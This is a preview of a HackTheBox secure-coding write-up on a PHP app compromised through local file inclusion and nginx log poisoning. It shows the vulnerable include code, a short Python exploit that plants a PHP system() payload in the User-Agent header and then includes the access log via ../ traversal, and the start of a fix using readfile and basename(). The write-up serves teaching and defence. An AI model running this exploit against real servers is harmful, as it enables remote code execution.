$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Fix vulnerabilities in a PHP web application that was exploited via LFI + log poisoning. Solution: Replace include with readfile, add basename() and regex validation to prevent path traversal.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Bobby made a secure server, but someone got in! How did they get in? Can you stop it from happening again?
This is a "secure coding" challenge where you need to identify and fix vulnerabilities in a PHP web application. The challenge provides:
The vulnerable code in our-projects.php:
<?php $project = "orion"; if (isset($_GET["project"])) { $project = strtolower($_GET["project"]); } ?> ... <p><?php include "../projects/" . $project; ?></p>
Problems identified:
include executes PHP code from included filesproject parameter allows path traversal (../)No validation on the project parameter allowed ../ sequences to escape the intended directory and access arbitrary files like /var/log/nginx/access.log.
from requests import get IP = '127.0.0.1' payload = 'whoami' php_payload = f"<?php system('{payload}') ?>" headers = { 'User-Agent': php_payload } # Step 1: Poison the log with PHP code in User-Agent get(f'http://{IP}/', headers=headers) # Step 2: Include the poisoned log via LFI r = get(f'http://{IP}/our-projects.php?project=../../../../var/log/nginx/access.log') print(r.text)
Attack flow:
include with readfileChanged from include (which executes PHP code) to readfile (which only outputs file contents as text):
// Before (vulnerable): <p><?php include "../projects/" . $project; ?></p> ...
$ grep --similar